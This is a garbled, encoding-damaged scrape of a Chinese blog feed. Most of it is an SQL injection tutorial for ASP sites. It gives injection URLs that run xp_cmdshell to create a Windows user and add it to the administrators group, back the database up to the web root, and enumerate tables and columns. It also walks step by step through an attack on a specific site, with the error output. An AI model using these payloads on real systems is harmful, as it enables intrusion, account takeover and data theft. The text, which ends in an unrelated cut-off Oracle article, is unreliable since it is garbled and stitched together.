鏈鍚庯紝鍦ㄨ〃鍚嶅拰鍒楀悕鐚滆В鎴愬姛鍚庯紝鍐嶄嬌鐢?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL璇彞錛屽緱鍑哄瓧孌電殑鍊鹼紝涓嬮潰浠嬬粛涓縐嶆渶甯哥敤鐨勬柟娉曪紞Ascii閫愬瓧瑙g爜娉曪紝铏界劧榪欑鏂規(guī)硶閫熷害寰堟參錛屼絾鑲畾鏄彲琛岀殑鏂規(guī)硶銆?br>
鎴戜滑涓句釜渚嬪瓙錛屽凡鐭ヨ〃Admin涓瓨鍦╱sername瀛楁錛岄鍏堬紝鎴戜滑鍙栫涓鏉¤褰曪紝嫻嬭瘯闀垮害錛?br>
http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0

鍏堣鏄庡師鐞嗭細(xì)濡傛灉top 1鐨剈sername闀垮害澶т簬0錛屽垯鏉′歡鎴愮珛錛涙帴鐫灝辨槸>1銆?gt;2銆?gt;3榪欐牱嫻嬭瘯涓嬪幓錛屼竴鐩村埌鏉′歡涓嶆垚绔嬩負(fù)姝紝姣斿>7鎴愮珛錛?gt;8涓嶆垚绔嬶紝灝辨槸len(username)=8

銆銆褰撶劧娌′漢浼?xì)绗ㄥ緱浠?,1,2,3涓涓釜嫻嬭瘯錛屾庝箞鏍鋒墠姣旇緝蹇氨鐪嬪悇鑷彂鎸ヤ簡銆傚湪寰楀埌username鐨勯暱搴﹀悗錛岀敤mid(username,N,1)鎴彇絎琋浣嶅瓧絎︼紝鍐峚sc(mid(username,N,1))寰楀埌ASCII鐮侊紝姣斿錛?br>
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

鍚屾牱涔熸槸鐢ㄩ愭緙╁皬鑼冨洿鐨勬柟娉曞緱鍒扮1浣嶅瓧絎︾殑ASCII鐮侊紝娉ㄦ剰鐨勬槸鑻辨枃鍜屾暟瀛楃殑ASCII鐮佸湪1-128涔嬮棿錛屽彲浠ョ敤鎶樺崐娉曞姞閫熺寽瑙o紝濡傛灉鍐欐垚紼嬪簭嫻嬭瘯錛屾晥鐜囦細(xì)鏈夋瀬澶х殑鎻愰珮銆?br>

絎簩鑺傘侊汲錛憋棘娉ㄥ叆甯哥敤鍑芥暟

鏈?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL璇█鍩虹鐨勪漢錛屽湪錛籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐨勬椂鍊欐垚鍔熺巼姣斾笉鐔熸?zhèn)夌殑錆h楂樺緢澶氥傛垜浠湁蹇呰鎻愰珮涓涓嬭嚜宸辯殑SQL姘村鉤錛岀壒鍒槸涓浜涘父鐢ㄧ殑鍑芥暟鍙婂懡浠ゃ?br>
Access錛歛sc(瀛楃) SQLServer錛歶nicode(瀛楃)

浣滅敤錛氳繑鍥炴煇瀛楃鐨凙SCII鐮?br>

Access錛歝hr(鏁板瓧) SQLServer錛歯char(鏁板瓧)

浣滅敤錛氫笌asc鐩稿弽錛屾牴鎹瓵SCII鐮佽繑鍥炲瓧絎?br>

Access錛歮id(瀛楃涓?N,L) SQLServer錛歴ubstring(瀛楃涓?N,L)

浣滅敤錛氳繑鍥炲瓧絎︿覆浠嶯涓瓧絎﹁搗闀垮害涓篖鐨勫瓙瀛楃涓詫紝鍗砃鍒癗+L涔嬮棿鐨勫瓧絎︿覆


Access錛歛bc(鏁板瓧) SQLServer錛歛bc (鏁板瓧)

浣滅敤錛氳繑鍥炴暟瀛楃殑緇濆鍊鹼紙鍦ㄧ寽瑙f眽瀛楃殑鏃跺欎細(xì)鐢ㄥ埌錛?br>

Access錛欰 between B And C SQLServer錛欰 between B And C

浣滅敤錛氬垽鏂瑼鏄惁鐣屼簬B涓嶤涔嬮棿
鍦?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆涓鍒頒腑鏂囧瓧絎︽槸甯告湁鐨勪簨錛屾湁浜涗漢涓紕板埌涓枃瀛楃灝辨兂鎵撻鍫傞紦浜嗐傚叾瀹炲彧瑕佸涓枃鐨勭紪鐮佹湁鎵浜嗚В錛?#8220;涓枃鎭愭儳鐥?#8221;寰堝揩鍙互鍏嬫湇銆?br>
鍏堣涓鐐瑰父璇嗭細(xì)

Access涓紝涓枃鐨凙SCII鐮佸彲鑳戒細(xì)鍑虹幇璐熸暟錛屽彇鍑鴻璐熸暟鍚庣敤abs()鍙栫粷瀵瑰鹼紝姹夊瓧瀛楃涓嶅彉銆?br>
SQLServer涓紝涓枃鐨凙SCII涓烘鏁幫紝浣嗙敱浜庢槸UNICODE鐨勫弻浣嶇紪鐮侊紝涓嶈兘鐢ㄥ嚱鏁癮scii()鍙栧緱ASCII鐮侊紝蹇呴』鐢ㄥ嚱鏁皍nicode ()榪斿洖unicode鍊鹼紝鍐嶇敤nchar鍑芥暟鍙栧緱瀵瑰簲鐨勪腑鏂囧瓧絎︺?br>
浜嗚В浜嗕笂闈㈢殑涓ょ偣鍚庯紝鏄笉鏄寰椾腑鏂囩寽瑙e叾瀹炰篃璺熻嫳鏂囧樊涓嶅鍛紵闄や簡浣跨敤鐨勫嚱鏁拌娉ㄦ剰銆佺寽瑙h寖鍥村ぇ涓鐐瑰錛屾柟娉曟槸娌′粈涔堜袱鏍風(fēng)殑銆?br>
(榪涢樁綃囧畬)

鐪嬪畬鍏ラ棬綃囧拰榪涢樁綃囧悗錛岀◢鍔犵粌涔?fàn)锛岀牬瑙d竴鑸殑緗戠珯鏄病闂浜嗐備絾濡傛灉紕板埌琛ㄥ悕鍒楀悕鐚滀笉鍒幫紝鎴栫▼搴忎綔鑰呰繃婊や簡涓浜涚壒孌婂瓧絎︼紝鎬庝箞鎻愰珮娉ㄥ叆鐨勬垚鍔熺巼錛熸庝箞鏍鋒彁楂樼寽瑙f晥鐜囷紵璇峰ぇ瀹舵帴鐫寰涓嬬湅楂樼駭綃囥?br>
絎竴鑺傘佸埄鐢ㄧ郴緇熻〃娉ㄥ叆SQLServer鏁版嵁搴?br>
SQLServer鏄竴涓姛鑳藉己澶х殑鏁版嵁搴撶郴緇燂紝涓庢搷浣滅郴緇熶篃鏈夌揣瀵嗙殑鑱旂郴錛岃繖緇欏紑鍙戣呭甫鏉ヤ簡寰堝ぇ鐨勬柟渚匡紝浣嗗彟涓鏂歸潰錛屼篃涓?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鑰呮彁渚涗簡涓涓煩鏉匡紝鎴戜滑鍏堟潵鐪嬬湅鍑犱釜鍏蜂綋鐨?strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">渚嬪瓙錛?br>
鈶?
http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

銆銆鍒嗗彿;鍦⊿QLServer涓〃紺洪殧寮鍓嶅悗涓ゅ彞璇彞錛?-琛ㄧず鍚庨潰鐨勮鍙ヤ負(fù)娉ㄩ噴錛屾墍浠ワ紝榪欏彞璇彞鍦⊿QLServer涓皢琚垎鎴愪袱鍙ユ墽琛岋紝鍏堟槸Select鍑篒D=1鐨勮褰曪紝鐒跺悗鎵ц瀛樺偍榪囩▼xp_cmdshell錛岃繖涓瓨鍌ㄨ繃紼嬬敤浜庤皟鐢ㄧ郴緇熷懡浠わ紝浜庢槸錛岀敤net鍛戒護(hù)鏂板緩浜嗙敤鎴峰悕涓簄ame銆佸瘑鐮佷負(fù)password鐨剋indows鐨勫笎鍙鳳紝鎺ョ潃錛?br>
鈶?
http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

銆銆灝嗘柊寤虹殑甯愬彿name鍔犲叆綆$悊鍛樼粍錛屼笉鐢ㄤ袱鍒嗛挓錛屼綘宸茬粡鎷垮埌浜嗙郴緇熸渶楂樻潈闄愶紒褰撶劧錛岃繖縐嶆柟娉曞彧閫傜敤浜庣敤sa榪炴帴鏁版嵁搴撶殑鎯呭喌錛屽惁鍒欙紝鏄病鏈夋潈闄愯皟鐢▁p_cmdshell鐨勩?br>
銆銆鈶?
http://Site/url.asp?id=1 ;;and db_name()>0

鍓嶉潰鏈変釜綾諱技鐨?strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">渚嬪瓙and user>0錛屼綔鐢ㄦ槸鑾峰彇榪炴帴鐢ㄦ埛鍚嶏紝db_name()鏄彟涓涓郴緇熷彉閲忥紝榪斿洖鐨勬槸榪炴帴鐨勬暟鎹簱鍚嶃?br>
鈶?
http://Site/url.asp?id=1;backup database 鏁版嵁搴撳悕 to disk=’c:\inetpub\wwwroot\1.db’;--

榪欐槸鐩稿綋鐙犵殑涓鎷涳紝浠庘憿鎷垮埌鐨勬暟鎹簱鍚嶏紝鍔犱笂鏌愪簺IIS鍑洪敊鏆撮湶鍑虹殑緇濆璺緞錛屽皢鏁版嵁搴撳浠藉埌Web鐩綍涓嬮潰錛屽啀鐢℉TTP鎶婃暣涓暟鎹簱灝卞畬瀹屾暣鏁寸殑涓嬭澆鍥炴潵錛屾墍鏈夌殑綆$悊鍛樺強鐢ㄦ埛瀵嗙爜閮戒竴瑙堟棤閬楋紒鍦ㄤ笉鐭ラ亾緇濆璺緞鐨勬椂鍊欙紝榪樺彲浠ュ浠藉埌緗戠粶鍦板潃鐨勬柟娉曪紙濡俓\202.96.xx.xx\Share\1.db錛夛紝浣嗘垚鍔熺巼涓嶉珮銆?br>
銆銆鈶?
http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

鍓嶉潰璇磋繃錛宻ysobjects鏄疭QLServer鐨勭郴緇熻〃錛屽瓨鍌ㄧ潃鎵鏈夌殑琛ㄥ悕銆佽鍥俱佺害鏉熷強鍏跺畠瀵硅薄錛寈type=’U’ and status>0錛岃〃紺虹敤鎴峰緩绔嬬殑琛ㄥ悕錛屼笂闈㈢殑璇彞灝嗙涓涓〃鍚嶅彇鍑猴紝涓?姣旇緝澶у皬錛岃鎶ラ敊淇℃伅鎶婅〃鍚嶆毚闇插嚭鏉ャ傜浜屻佺涓変釜琛ㄥ悕鎬庝箞鑾峰彇錛熻繕鏄暀緇欐垜浠仾鏄庣殑璇昏呮濊冨惂銆?br>
鈶?
http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘琛ㄥ悕’),1) from sysobjects)>0

浠庘懁鎷垮埌琛ㄥ悕鍚庯紝鐢╫bject_id(‘琛ㄥ悕’)鑾峰彇琛ㄥ悕瀵瑰簲鐨勫唴閮↖D錛宑ol_name(琛ㄥ悕ID,1)浠h〃璇ヨ〃鐨勭1涓瓧孌靛悕錛屽皢1鎹㈡垚2,3,4...灝卞彲浠ラ愪釜鑾峰彇鎵鐚滆В琛ㄩ噷闈㈢殑瀛楁鍚嶃?br>
銆銆浠ヤ笂6鐐規(guī)槸鎴戠爺絀禨QLServer娉ㄥ叆鍗婂勾澶氫互鏉ョ殑蹇冭緇撴櫠錛屽彲浠ョ湅鍑猴紝瀵筍QLServer鐨勪簡瑙g▼搴︼紝鐩存帴褰卞搷鐫鎴愬姛鐜囧強鐚滆В閫熷害銆傚湪鎴戠爺絀禨QLServer娉ㄥ叆涔嬪悗錛屾垜鍦ㄥ紑鍙戞柟闈㈢殑姘村鉤涔熷緱鍒板緢澶х殑鎻愰珮錛屽懙鍛碉紝涔熻瀹夊叏涓庡紑鍙戞湰鏉ュ氨鏄浉杈呯浉鎴愮殑鍚с?br>
絎簩鑺傘佺粫榪囩▼搴忛檺鍒剁戶緇?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆

鍦ㄥ叆闂ㄧ瘒鎻愬埌錛屾湁寰堝浜哄枩嬈㈢敤’鍙鋒祴璇?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆婕忔礊錛屾墍浠ヤ篃鏈夊緢澶氫漢鐢ㄨ繃婊?#8217;鍙風(fēng)殑鏂規(guī)硶鏉?#8220;闃叉”娉ㄥ叆婕忔礊錛岃繖涔熻鑳芥尅浣忎竴浜涘叆闂ㄨ呯殑鏀誨嚮錛屼絾瀵癸汲錛憋棘娉ㄥ叆姣旇緝鐔熸?zhèn)夌殑錆h錛岃繕鏄彲浠ュ埄鐢ㄧ浉鍏崇殑鍑芥暟錛岃揪鍒扮粫榪囩▼搴忛檺鍒剁殑鐩殑銆?br>
鍦?#8220;錛籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆鐨勪竴鑸楠?#8221;涓鑺備腑錛屾垜鎵鐢ㄧ殑璇彞錛岄兘鏄粡榪囨垜浼樺寲錛岃鍏朵笉鍖呭惈鏈夊崟寮曞彿鐨勶紱鍦?#8220;鍒╃敤緋葷粺琛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆SQLServer鏁版嵁搴?#8221;涓紝鏈変簺璇彞鍖呭惈鏈?#8217;鍙鳳紝鎴戜滑涓句釜渚嬪瓙鏉ョ湅鐪嬫庝箞鏀歸犺繖浜涜鍙ワ細(xì)

綆鍗曠殑濡倃here xtype=’U’錛屽瓧絎瀵瑰簲鐨凙SCII鐮佹槸85錛屾墍浠ュ彲浠ョ敤where xtype=char(85)浠f浛錛涘鏋滃瓧絎︽槸涓枃鐨勶紝姣斿where name=’鐢ㄦ埛’錛屽彲浠ョ敤where name=nchar(29992)+nchar(25143)浠f浛銆?br>
絎笁鑺傘佺粡楠屽皬緇?br>
1.鏈変簺浜轟細(xì)榪囨護(hù)Select銆乁pdate銆丏elete榪欎簺鍏抽敭瀛楋紝浣嗗亸鍋忓繕璁板尯鍒嗗ぇ灝忓啓錛屾墍浠ュぇ瀹跺彲浠ョ敤selecT榪欐牱灝濊瘯涓涓嬨?br>
2.鍦ㄧ寽涓嶅埌瀛楁鍚嶆椂錛屼笉濡ㄧ湅鐪嬬綉绔欎笂鐨勭櫥褰曡〃鍗曪紝涓鑸負(fù)浜嗘柟渚胯搗瑙侊紝瀛楁鍚嶉兘涓庤〃鍗曠殑杈撳叆妗嗗彇鐩稿悓鐨勫悕瀛椼?br>
3.鐗瑰埆娉ㄦ剰錛氬湴鍧鏍忕殑+鍙蜂紶鍏ョ▼搴忓悗瑙i噴涓虹┖鏍鹼紝%2B瑙i噴涓?鍙鳳紝%25瑙i噴涓?鍙鳳紝鍏蜂綋鍙互鍙傝僓RLEncode鐨勭浉鍏充粙緇嶃?br>
4.鐢℅et鏂規(guī)硶娉ㄥ叆鏃訛紝IIS浼?xì)璁板綍浣犳墍鏈夌殑鎻愪氦瀛楃涓詫紝瀵筆ost鏂規(guī)硶鍋氬垯涓嶈褰曪紝鎵浠ヨ兘鐢≒ost鐨勭綉鍧灝介噺涓嶇敤Get銆?br>
5. 鐚滆ВAccess鏃跺彧鑳界敤Ascii閫愬瓧瑙g爜娉曪紝SQLServer涔熷彲浠ョ敤榪欑鏂規(guī)硶錛屽彧闇瑕佷袱鑰呬箣闂寸殑鍖哄埆鍗沖彲錛屼絾鏄鏋滆兘鐢⊿QLServer鐨勬姤閿欎俊鎭妸鍊兼毚闇插嚭鏉ワ紝閭f晥鐜囧拰鍑嗙‘鐜囦細(xì)鏈夋瀬澶х殑鎻愰珮銆?br>
闃?鑼?鏂?娉?br>
錛籌急錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆婕忔礊鍙皳鏄?#8220;鍗冮噷涔嬪牑錛屾簝浜庤殎絀?#8221;錛岃繖縐嶆紡媧炲湪緗戜笂鏋佷負(fù)鏅亶錛岄氬父鏄敱浜庣▼搴忓憳瀵?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">娉ㄥ叆涓嶄簡瑙o紝鎴栬呯▼搴忚繃婊や笉涓ユ牸錛屾垨鑰呮煇涓弬鏁板繕璁版鏌ュ鑷淬傚湪榪欓噷錛屾垜緇欏ぇ瀹朵竴涓嚱鏁幫紝浠f浛ASP涓殑Request鍑芥暟錛屽彲浠ュ涓鍒囩殑SQL娉ㄥ叆Say NO錛屽嚱鏁板涓嬶細(xì)


Function SafeRequest(ParaName,ParaType)
'--- 浼犲叆鍙傛暟 ---
'ParaName:鍙傛暟鍚嶇О-瀛楃鍨?br>'ParaType:鍙傛暟綾誨瀷-鏁板瓧鍨?1琛ㄧず浠ヤ笂鍙傛暟鏄暟瀛楋紝0琛ㄧず浠ヤ笂鍙傛暟涓哄瓧絎?

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "鍙傛暟" & ParaName & "蹇呴』涓烘暟瀛楀瀷錛?
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''"
End if
SafeRequest=ParaValue
End function

鏂囩珷鍒拌繖閲屽氨緇撴潫浜嗭紝涓嶇浣犳槸瀹夊叏浜哄憳銆佹妧鏈埍濂借呰繕鏄▼搴忓憳錛屾垜閮藉笇鏈涙湰鏂囪兘瀵逛綘鏈夋墍甯姪銆?/font>
鏃ュ織鏍囬錛?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL娉ㄥ叆鐨勬柊鎶宸?br>鍙戣〃鏃墮棿錛?005-2-19 8:25:00
SQL娉ㄥ叆鐨勬柊鎶宸?/font>
琛ㄥ悕鍜屽瓧孌靛悕鐨勮幏寰梍閫傜敤鎯呭喌:
1)鏁版嵁搴撴槸MSSQL
2)榪炴帴鏁版嵁搴撶殑鍙槸鏅氱敤鎴?br>3)涓嶇煡閬揂SP婧愪唬鐮?br>
鍙互榪涜鐨勬敾鍑?br>1)瀵規(guī)暟鎹唴瀹硅繘琛屾坊鍔狅紝鏌ョ湅錛屾洿鏀?br>
瀹炰緥:
鏈枃浠朵互
http://www.dy/***.com/user/wantpws.asp
涓哄垪榪涜嫻嬭瘯鏀誨嚮銆?br>
絎竴姝?
鍦ㄨ緭鍏ョ敤鎴峰悕澶勮緭鍏ュ崟寮曞彿錛屾樉紺?br>Microsoft OLE DB Provider for SQL Server 閿欒 80040e14
瀛楃涓?涔嬪墠鏈夋湭闂悎鐨勫紩鍙楓?

/user/wantpws.asp錛岃63

璇存槑娌℃湁榪囨護(hù)鍗曞紩鍙蜂笖鏁版嵁搴撴槸MSSQL.

絎簩姝?
杈撳叆a;use master;--
鏄劇ず
Microsoft OLE DB Provider for SQL Server 閿欒 80040e21
澶氭 OLE DB 鎿嶄綔浜х敓閿欒銆傚鏋滃彲鑳斤紝璇鋒鏌ユ瘡涓?OLE DB 鐘舵佸箋傛病鏈夊伐浣滆瀹屾垚銆?

/user/wantpws.asp錛岃63
榪欐牱璇存槑娌℃湁鏉冮檺浜嗐?br>
絎笁姝?
杈撳叆:a or name like fff%;--
鏄劇ず鏈変竴涓彨ffff鐨勭敤鎴峰搱銆?br>
絎洓姝?
鍦ㄧ敤鎴峰悕澶勮緭鍏?br>ffff and 1<>(select count(email) from [user]);--
鏄劇ず:
Microsoft OLE DB Provider for SQL Server 閿欒 80040e37
瀵硅薄鍚?user 鏃犳晥銆?

/user/wantpws.asp錛岃96

璇存槑娌℃湁鍙玼ser鐨勮〃錛屾崲鎴恥sers璇曡瘯鎴愬姛,鍚屾椂璇存槑鏈変竴涓彨email鐨勫垪.
(涓滄柟椋樹簯鐨勪竴涓姙娉曟槸杈撳叆a having 1=1--
涓鑸繑鍥炲涓嬩篃灝卞彲浠ョ洿鎺ュ緱鍒拌〃鍚嶅拰涓涓瓧孌靛悕浜?br>Microsoft OLE DB Provider for SQL Server 閿欒 80040e14
鍒?users.ID 鍦ㄩ夋嫨鍒楄〃涓棤鏁堬紝鍥犱負(fù)璇ュ垪鏈寘鍚湪鑱氬悎鍑芥暟涓紝騫朵笖娌℃湁 GROUP BY 瀛愬彞銆?

/user/wantpws.asp錛岃63


)

鐜板湪鎴戜滑鐭ラ亾浜唂fff鐢ㄦ埛鐨勫瘑鐮佹槸111111.

涓嬮潰閫氳繃璇彞寰楀埌鏁版嵁搴撲腑鐨勬墍鏈夎〃鍚嶅拰瀛楁鍚嶃?br>
絎簲姝?
杈撳叆:
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
璇存槑:
涓婇潰鐨勮鍙ユ槸寰楀埌鏁版嵁搴撲腑鐨勭涓涓敤鎴瘋〃,騫舵妸琛ㄥ悕鏀懼湪ffff鐢ㄦ埛鐨勯偖綆卞瓧孌典腑銆?br>閫氳繃鏌ョ湅ffff鐨勭敤鎴瘋祫鏂欏彲寰楃涓涓敤琛ㄥ彨ad
鐒跺悗鏍規(guī)嵁琛ㄥ悕ad寰楀埌榪欎釜琛ㄧ殑ID
ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
鍚屼笂鍙煡id鏄?581577110
鐢變簬瀵硅薄鏍囧織id鏄牴鎹敱灝忓埌澶ф帓鍒楃殑鎵浠ユ垜浠彲浠ュ緱鍒版墍鏈夌殑鐢ㄦ埛琛ㄧ殑鍚嶅瓧浜?br>璞′笅闈㈣繖鏍峰氨鍙互寰楀埌絎簩涓〃鐨勫悕瀛椾簡
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk

緇忚繃涓孌墊椂闂寸殑鐚滄祴鍚庢垜浠緱鍒頒笂闈㈢殑鍒嗘瀽涓涓嬪簲璇ユ槑鐧絧assword,users鏄渶寰楄鐨?br>
絎叚姝?鐚滈噸瑕佽〃鐨勫瓧孌?br>杈撳叆:
鐜板湪灝辯湅鐪媢sers琛ㄦ湁鍝簺瀛楁
ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--
寰楀埌絎笁涓瓧孌墊槸password
ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--
寰楀埌絎洓涓瓧孌墊槸name
鏈鍚巙sers琛ㄧ殑瀛楁鍏?8涓叏寰楀埌浜?br>(娉?鍙︿竴涓緱鍒板瓧孌電殑鍔炴硶,鍓嶆彁鏄郴緇熺殑榪斿洖鍑洪敊淇℃伅
a group by ID having 1=1--
寰楀埌
Microsoft OLE DB Provider for SQL Server 閿欒 80040e14
鍒?users.userid 鍦ㄩ夋嫨鍒楄〃涓棤鏁堬紝鍥犱負(fù)璇ュ垪鏃笉鍖呭惈鍦ㄨ仛鍚堝嚱鏁頒腑錛屼篃涓嶅寘鍚湪 GROUP BY 瀛愬彞涓?

/user/wantpws.asp錛岃63
榪欎釜絎簩涓瓧孌靛氨鏄痷serid
鏄劇ず絎笁涓瓧孌點?
a group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server 閿?/span>


]]>
銆銆涓. 鏌ョ湅緋葷粺琛ㄤ腑鐨勭敤鎴風(fēng)儲寮?/title><link>http://m.tkk7.com/19851985lili/articles/102519.html</link><dc:creator>鈽溾櫏鈽濵engChuChen</dc:creator><author>鈽溾櫏鈽濵engChuChen</author><pubDate>Thu, 08 Mar 2007 00:45:00 GMT</pubDate><guid>http://m.tkk7.com/19851985lili/articles/102519.html</guid><wfw:comment>http://m.tkk7.com/19851985lili/comments/102519.html</wfw:comment><comments>http://m.tkk7.com/19851985lili/articles/102519.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/19851985lili/comments/commentRss/102519.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/19851985lili/services/trackbacks/102519.html</trackback:ping><description><![CDATA[鍦∣racle涓紝SYSTEM琛ㄦ槸瀹夎鏁版嵁搴撴椂鑷姩寤虹珛鐨勶紝瀹冨寘鍚暟鎹簱鐨勫叏閮ㄦ暟鎹瓧鍏革紝瀛樺偍榪囩▼銆佸寘銆佸嚱鏁板拰瑙﹀彂鍣ㄧ殑瀹氫箟浠ュ強緋葷粺鍥炴粴孌點?br /><br />銆銆涓鑸潵璇達(dá)紝搴旇灝介噺閬垮厤鍦⊿YSTEM琛ㄤ腑瀛樺偍闈濻YSTEM鐢ㄦ埛鐨勫璞°傚洜涓鴻繖鏍蜂細(xì)甯︽潵鏁版嵁搴撶淮鎶ゅ拰綆$悊鐨勫緢澶氶棶棰樸備竴鏃YSTEM琛ㄦ崯鍧忎簡錛屽彧鑳介噸鏂扮敓鎴愭暟鎹簱銆傛垜浠彲浠ョ敤涓嬮潰鐨勮鍙ユ潵媯鏌ュ湪SYSTEM琛ㄥ唴鏈夋病鏈夊叾浠栫敤鎴風(fēng)殑绱㈠紩瀛樺湪銆?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td height="16">select count(*) <br />from dba_indexes<br />where tablespace_name = 'SYSTEM'<br />and owner not in ('SYS','SYSTEM')<br />/</td></tr></tbody></table><br />銆銆<b>浜? 绱㈠紩鐨勫瓨鍌ㄦ儏鍐墊鏌?/b><br /><br />銆銆Oracle涓烘暟鎹簱涓殑鎵鏈夋暟鎹垎閰嶉昏緫緇撴瀯絀洪棿銆傛暟鎹簱絀洪棿鐨勫崟浣嶆槸鏁版嵁鍧楋紙block錛夈佽寖鍥達(dá)紙extent錛夊拰孌碉紙segment錛夈?br /><br />銆銆Oracle鏁版嵁鍧楋紙block錛夋槸Oracle浣跨敤鍜屽垎閰嶇殑鏈灝忓瓨鍌ㄥ崟浣嶃傚畠鏄敱鏁版嵁搴撳緩绔嬫椂璁劇疆鐨凞B_BLOCK_SIZE鍐沖畾鐨勩備竴鏃︽暟鎹簱鐢熸垚浜嗭紝鏁版嵁鍧楃殑澶у皬涓嶈兘鏀瑰彉銆傝鎯蟲敼鍙樺彧鑳介噸鏂板緩绔嬫暟鎹簱銆傦紙鍦∣racle9i涓湁涓浜涗笉鍚岋紝涓嶈繃榪欎笉鍦ㄦ湰鏂囪璁虹殑鑼冨洿鍐呫傦級<br /><br />銆銆Extent鏄敱涓緇勮繛緇殑block緇勬垚鐨勩備竴涓垨澶氫釜extent緇勬垚涓涓猻egment銆傚綋涓涓猻egment涓殑鎵鏈夌┖闂磋鐢ㄥ畬鏃訛紝Oracle涓哄畠鍒嗛厤涓涓柊鐨別xtent銆?br />銆 <br />銆銆Segment鏄敱涓涓垨澶氫釜extent緇勬垚鐨勩傚畠鍖呭惈鏌愯〃絀洪棿涓壒瀹氶昏緫瀛樺偍緇撴瀯鐨勬墍鏈夋暟鎹備竴涓涓殑extent鍙互鏄笉榪炵畫鐨勶紝鐢氳嚦鍙互鍦ㄤ笉鍚岀殑鏁版嵁鏂囦歡涓?br /><br />銆銆涓涓猳bject鍙兘瀵瑰簲浜庝竴涓昏緫瀛樺偍鐨剆egment錛屾垜浠氳繃鏌ョ湅璇egment涓殑extent錛屽彲浠ョ湅鍑虹浉搴攐bject鐨勫瓨鍌ㄦ儏鍐點?br /><br />銆銆錛?錛夋煡鐪嬬儲寮曟涓璭xtent鐨勬暟閲忥細(xì)<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select segment_name, count(*) <br />from dba_extents<br />where segment_type='INDEX'<br />and owner=UPPER('&owner') <br />group by segment_name<br />/</td></tr></tbody></table><br />銆銆錛?錛夋煡鐪嬭〃絀洪棿鍐呯殑绱㈠紩鐨勬墿灞曟儏鍐碉細(xì)<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />substr(segment_name,1,20) "SEGMENT NAME",<br />bytes, <br />count(bytes) <br />from dba_extents <br />where segment_name in<br />( select index_name <br />from dba_indexes <br />where tablespace_name=UPPER('&琛ㄧ┖闂?))<br />group by segment_name,bytes<br />order by segment_name<br />/</td></tr></tbody></table><br /><strong>涓? 绱㈠紩鐨勯夋嫨鎬?br /><br /></strong>銆銆绱㈠紩鐨勯夋嫨鎬ф槸鎸囩儲寮曞垪涓笉鍚屽肩殑鏁扮洰涓庤〃涓褰曟暟鐨勬瘮銆傚鏋滀竴涓〃涓湁2000鏉¤褰曪紝琛ㄧ儲寮曞垪鏈?980涓笉鍚岀殑鍊鹼紝閭d箞榪欎釜绱㈠紩鐨勯夋嫨鎬у氨鏄?980/2000=0.99銆?br /><br />銆銆涓涓儲寮曠殑閫夋嫨鎬ц秺鎺ヨ繎浜?錛岃繖涓儲寮曠殑鏁堢巼灝辮秺楂樸?br /><br />銆銆濡傛灉鏄嬌鐢ㄥ熀浜巆ost鐨勬渶浼樺寲錛屼紭鍖栧櫒涓嶅簲璇ヤ嬌鐢ㄩ夋嫨鎬т笉濂界殑绱㈠紩銆傚鏋滄槸浣跨敤鍩轟簬rule鐨勬渶浼樺寲錛屼紭鍖栧櫒鍦ㄧ‘瀹氭墽琛岃礬寰勬椂涓嶄細(xì)鑰冭檻绱㈠紩鐨勯夋嫨鎬э紙闄ら潪鏄敮涓鎬х儲寮曪級錛屽茍涓斾笉寰椾笉鎵嬪伐浼樺寲鏌ヨ浠ラ伩鍏嶄嬌鐢ㄩ潪閫夋嫨鎬х殑绱㈠紩銆?br /><br />銆銆紜畾绱㈠紩鐨勯夋嫨鎬э紝鍙互鏈変袱縐嶆柟娉曪細(xì)鎵嬪伐嫻嬮噺鍜岃嚜鍔ㄦ祴閲忋?br /><br />銆銆錛?錛夋墜宸ユ祴閲忕儲寮曠殑閫夋嫨鎬?br /><br />銆銆濡傛灉瑕佹牴鎹竴涓〃鐨勪袱鍒楀垱寤轟袱鍒楀茍緗儲寮曪紝鍙互鐢ㄤ互涓嬫柟娉曟祴閲忕儲寮曠殑閫夋嫨鎬э細(xì)<br /><br />銆銆鍒楃殑閫夋嫨鎬?涓嶅悓鍊肩殑鏁扮洰/琛岀殑鎬繪暟 /* 瓚婃帴榪?瓚婂ソ */<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select count(distinct 